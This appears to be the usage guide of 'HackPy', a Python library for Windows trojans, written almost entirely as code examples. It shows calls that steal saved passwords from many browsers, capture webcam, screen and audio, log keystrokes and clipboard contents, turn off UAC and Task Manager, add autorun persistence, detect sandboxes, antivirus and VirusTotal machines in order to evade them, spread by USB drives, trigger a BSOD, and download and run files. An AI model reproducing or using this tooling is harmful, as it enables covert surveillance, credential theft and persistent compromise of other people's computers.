Warning! This module created only for Windows systems!
#
# Import module
import hackpy
# Selected files will be downloaded to your computer automatically when function 'load_modules(..)' is launched.
# They are necessary for some functions to work.
# To download them, you need an Internet connection when you first import the module on a computer
hackpy.load_modules(
'autorun.exe', # Size: 13.5 KB | Need for hackpy.autorun(file).installRegistry(), hackpy.autorun(file).uninstallRegistry(), hackpy.autorun(file).installTaskscheduler(), hackpy.autorun(file).uninstallTaskscheduler()
'webcam.exe', # Size: 71.0 KB | Need for hackpy.webcamScreenshot(filename = 'screenshot.png', delay = 4500, camera = 1)
'nircmd.exe', # Size: 51.0 KB | Need for hackpy.desktopScreenshot(), hackpy.command.nircmdc()
'activity.exe', # Size: 14.0 KB | Need for hackpy.getActiveWindow(), hackpy.userIsActive(), hackpy.setCursorPos(x,y), hackpy.getCursorPos()
'audio.zip', # Size: 297 KB | Need for hackpy.recordAudio(filename = 'recording.wav', time = 20)
'bsod.exe', # Size: 11.0 KB | Need for hackpy.bsod()
'rotate_screen.exe',# Size: 16.0 KB | Need for hackpy.rotateScreen()
'uac.exe', # Size: 12.0 KB | Need for hackpy.uac.disable(), hackpy.uac.enable(), hackpy.uac.status()
'watchdog.exe', # Size: 12.5 KB | Need for hackpy.watchdog('firefox.exe').start()
'system_status.exe' # Size: 16.0 KB | Need for hackpy.inSandBox(), hackpy.inVirtualBox(), hackpy.cpuName(), hackpy.cpuUsage(), hackpy.gpuName(), hackpy.totalMemory()
)
print(
'\nWelcome to HackPy 0.1.7\n' +
'\nUsername: ' + hackpy.userInfo() +
'\nVersion: ' + hackpy.versionInfo() +
'\nRelease: ' + hackpy.releaseInfo() +
'\nSystem: ' + hackpy.systemInfo() +
'\nNode: ' + hackpy.nodeInfo() +
'\nMachine: ' + hackpy.machineInfo() +
'\nProcessor: ' + hackpy.processorInfo() +
'\nPlatform: ' + hackpy.platformInfo() +
'\nArchitecture: ' + hackpy.architecture()
)
hackpy.webcamScreenshot(filename = 'screenshot.png', delay = 4500, camera = 1)
hackpy.desktopScreenshot(filename = 'desktop.png')
# Save audio record to file recording.wav, 20 secounds
hackpy.recordAudio(filename = 'recording.wav', time = 20)
Get passwords from Chrome, Opera, Chromium, Amigo, Atom, Vivaldo, Orbitum, Kometa, Comodo, 360Browser, K-Melon, Maxthon3, Nichrome, CocCoc, Uran, Chromodo browsers..
# pip install pypiwin32
from hackpy.passwords import *
for key, account in passwordsRecovery():
print(
'\n[' + str(key) + ']'
'\n |____ SITE: ' + account['url'] +
'\n |____ USER: ' + account['login'] +
'\n |____ PASS: ' + account['password']
)
# If process iexplore.exe found:
if hackpy.taskmanager('iexplore.exe').find():
# Stop iexplore.exe process
hackpy.taskmanager('iexplore.exe').kill()
# start firefox.exe process
hackpy.taskmanager('firefox.exe').start()
# Return dictonary with all processes
for process in hackpy.taskmanager.list():
print(process)
# Get PID of process
pid = hackpy.taskmanager.getpid('firefox.exe')
# Disable windows taskmgr.exe
hackpy.taskmanager.disable()
# Enable windows taskmgr.exe
hackpy.taskmanager.enable()
# Uac status
hackpy.uac.status() # "enabled" or "disabled" # Need admin rights
# Disable UAC
hackpy.uac.disable() # Need admin rights
# Enable UAC
hackpy.uac.enable() # Need admin rights
# Add cmd.exe to startup | Method with Registry.
hackpy.autorun('C:\\Windows\\System32\\cmd.exe').installRegistry() # Program will be started as User.
# Remove cmd.exe from startup | Method with Registry.
hackpy.autorun('C:\\Windows\\System32\\cmd.exe').uninstallRegistry()
# Add cmd.exe to startup | Method with TaskScheduler. # Need Admin Rights
hackpy.autorun('C:\\Windows\\System32\\cmd.exe').installTaskscheduler() # Program will be started as Admin.
# Remove cmd.exe from startup | Method with TaskScheduler. # Need Admin Rights
hackpy.autorun('C:\\Windows\\System32\\cmd.exe').uninstallTaskscheduler()
# Restart explorer.exe when it stopped.
# WARNING ONLY WORKING WITH EXECUTABLE FILES
watchdog = hackpy.watchdog('explorer.exe')
# Start watchdog
watchdog.start()
# .
# .
# .
# Stop watchdog
watchdog.stop()
if hackpy.inSandBox() or hackpy.inVirtualBox(): # If program started in SandBox or VirtualBox
print('Detected emulator. Stopping!')
exit() # Exit
# Log all pressed keys. Format: (DATE) - [PROGRAM TITLE] - "keys"
from hackpy.keyboard import *
keylogger = Keylogger(filename = 'keylogs.txt')
# Start logger
keylogger.start()
# .
# .
# .
# Stop logger
keylogger.stop()
# Show logger logs
for line in keylogger.getLogs():
print(line)
# Delete logs file
keylogger.cleanLogs()
# Log all clipboard changes. Format: (DATE) - [PROGRAM TITLE] - "Clipboard text"
cliplogger = hackpy.clipboard.Clipboardlogger('clipboardlogger.txt')
# Start logger
cliplogger.start()
# .
# .
# .
# Stop logger
cliplogger.stop()
# Show logs
for line in cliplogger.getLogs():
print(line)
# Delete logs file
cliplogger.cleanLogs()
# Log all opened program titles. Format: (DATE) - "Program title"
activitylogger = ProgramActivitylogger('programActivityLogger.txt')
# Start logger
activitylogger.start()
# .
# .
# .
# Stop logger
activitylogger.stop()
# Show logs
for line in activitylogger.getLogs():
print(line)
# Delete logs file
activitylogger.cleanLogs()
if (hackpy.isAdmin()): # return True if program started as admin
print('Program started as admin! Loading cmd.exe')
status = hackpy.file.startAsAdmin('cmd.exe') # return true in [0] if all is okay and message in [1]
print('Okay, debugMessage:', status[1])
else:
print('Program started as user!')
# BsoD
hackpy.bsod()
# Make some lags
hackpy.logicBomb()
filemanager = hackpy.file
filemanager.getsize('file.txt') # Return file size in bytes
filemanager.exists('file.txt') # Return True or False
filemanager.remove('file.txt') # Remove file
filemanager.rmtree('dir1\\dir2\\dir3') # Remove dirs
filemanager.rename('file.txt', 'newfile.txt') # Rename file
filemanager.copy('file.txt', 'C:\\Windows') # Copy file
filemanager.scan('C:\\') # Return all files in directory
filemanager.start('file.txt') # Start file
filemanager.startAsAdmin('file.txt') # Start file as admin
filemanager.atributeHidden('file.txt') # Hide file
filemanager.atributeNormal('file.txt') # Show file
# Get files tree. (You can use tree('.') to get files tree in current directory)
for file in filemanager.tree('C:\\'):
print(file)
data = hackpy.detectProtection()
for antivirus in data:
print('[!] - Antivirus detected: ' + antivirus + ', install path: ' + data[antivirus])
if hackpy.checkOrganization():
print('Trojan started on VirusTotal machine! Stopping..')
exit()
print('Copying file to all drives...') # Need Admin Rights
success_drives = hackpy.usbSpread('file.txt') # Returns a list of drives to which the file was copied successfully
for drive in success_drives:
print('Successfully copied to: ' + drive)
target = 'google.com'
if hackpy.ping(target): # return True if target is online
print(target + ' is online!')
else:
print('Failed to connect!') # return False if target not found
target = 'google.com'
ip = hackpy.getHostByName(target) # return '172.217.16.14'
print('IP: ' + ip)
target = 'youtube.com'
port = '80'
if hackpy.portIsOpen(target, port):
print('Port ' + port + ' is opened!')
else:
print('Port ' + port + ' is closed!')
data = hackpy.whois()
print('[?] - You IP is: ' + data['query'])
print('[?] - You live in: ' + data['country'] + ', country code: ' + data['countryCode'])
# Return dict: {"query", "status", "country", "countryCode", "region", "regionName", "city", "zip", "lat", "lon", "timezone", "isp", "org", "as", "local"}
# Information about other IP:
data = hackpy.whois('216.58.215.110')
print('[?] - Other Information about IP:\n' + str(data))
# Return dict: {"query", "status", "country", "countryCode", "region", "regionName", "city", "zip", "lat", "lon", "timezone", "isp", "org", "as"}
# Get geodata about you IP:
data = hackpy.geoplugin()
print('[?] - Latitude: ' + data['geoplugin_latitude'])
# Return dict: {"geoplugin_request", "geoplugin_status", "geoplugin_delay", "geoplugin_credit", "geoplugin_city", "geoplugin_region", "geoplugin_regionCode", "geoplugin_regionName", "geoplugin_areaCode", "geoplugin_dmaCode", "geoplugin_countryCode", "geoplugin_countryName", "geoplugin_inEU", "geoplugin_euVATrate", "geoplugin_continentCode", "geoplugin_continentName", "geoplugin_latitude", "geoplugin_longitude", "geoplugin_locationAccuracyRadius", "geoplugin_timezone", "geoplugin_currencyCode", "geoplugin_currencySymbol", "geoplugin_currencySymbol_UTF8", "geoplugin_currencyConverter"}
# Get router BSSID | Work fine with Windows 10!
bssid_string = hackpy.router() # BETA
# Find LATITUDE and LONGITUDE with router BSSID:
data = hackpy.bssid_locate(bssid_string)
print(
'RANGE : ' + str(data['range']) + '\n' +
'LATITUDE : ' + str(data['lat']) + '\n' +
'LONGITUDE : ' + str(data['lon']) + '\n'
)
# MB_OK
# MB_OK_CANCEL
# MB_ABORTRETRYIGNORE
# MB_YES_NO_CANCEL
# MB_YES_NO
# MB_RETRYCANCEL
# MB_CANCELTRYCONTINUE
# MB_HELP
# ICON_ERROR
# ICON_QUESTION
# ICON_WARNING
# ICON_INFORMATION
# MB_TOPMOST
hackpy.messagebox('text', 'title')
hackpy.messagebox('text', 'title', settings=['ICON_WARNING', 'MB_RETRYCANCEL', 'MB_TOPMOST'])
image = 'C:\\users\\Admin\\wallpaper.png'
hackpy.setWallpaper(image) # BETA
# You can run nircmdc commands in python
# Nircmdc reference: https://nircmd.nirsoft.net
hackpy.command.nircmdc('monitor off')
hackpy.command.nircmdc('speak text \"HAHAHAHAHHAH IM FIND YOU!\"')
# System commands
hackpy.command.system('shutdown -s -t 260')
#Execute powershell command
hackpy.command.powershell('command')
# Return active window title
hackpy.getActiveWindow()
# return True if user move mouse. Return False if not
hackpy.userIsActive() # BETA!!!
# Set mouse cursor position (x, y)
hackpy.setCursorPos(100, 100)
# Get mouse corsor position (x, y)
hackpy.getCursorPos()
# Rotate screen
for degrees in (90, 180, 270, 0):
hackpy.rotateScreen(degrees)
import hackpy.time as time
# Get first time
firstTime = time.time()
# Sleep program for 3 secounds
time.sleep(3)
# Get last time
secondTime = time.time()
print('Code executed. Time elapsed: ' + str(round(secondTime - firstTime)) + ' secounds.')
# Get current time
time.date.day() # day, month, year, hour, minute, secound and all.
print('Now ' + time.date.year() + ' year!')
from hackpy.keyboard import *
keyPress('Hello bro{ENTER}')
# Other keys: https://pastebin.com/Ns3P7UiH
# Get text from clipboard:
data = hackpy.clipboard.get()
print('Text in clipboard is ' + data)
# Set text to clipboard:
hackpy.clipboard.set('Hello from LimerBoy and HackPy!!')
# Check if python installed on system. False - not installed, True - installed.
if not hackpy.python.check():
print('Python is not installed, trying to install!')
# Default version is 3.7.0 and install path is C:\python37
hackpy.python.install('3.6.0', path = 'C:\\python36')
else:
print('Python is installed!')
# Download file
file = hackpy.download(url)
# Start file
hackpy.file.start(file)
hackpy.cpuName() # 'Intel(R) Core(TM) i5 CPU M 560 @ 2.67GHz'
hackpy.cpuUsage() # 79
hackpy.gpuName() # 'NVIDIA NVS 3100M'
hackpy.architecture() # 64
hackpy.getHWID() # 'BFBBFBFF00120625'
hackpy.totalMemory() # 6149996
hackpy.freePhysicalMemory() # 3285036
hackpy.totalVirtualMemory() # 9164652
hackpy.freeVirtualMemory() # 4629700
hackpy.power.reboot() # Reboot
hackpy.power.shutdown() # Shutdown
hackpy.power.logoff() # Logoff
hackpy.power.hibernate() # Hibernate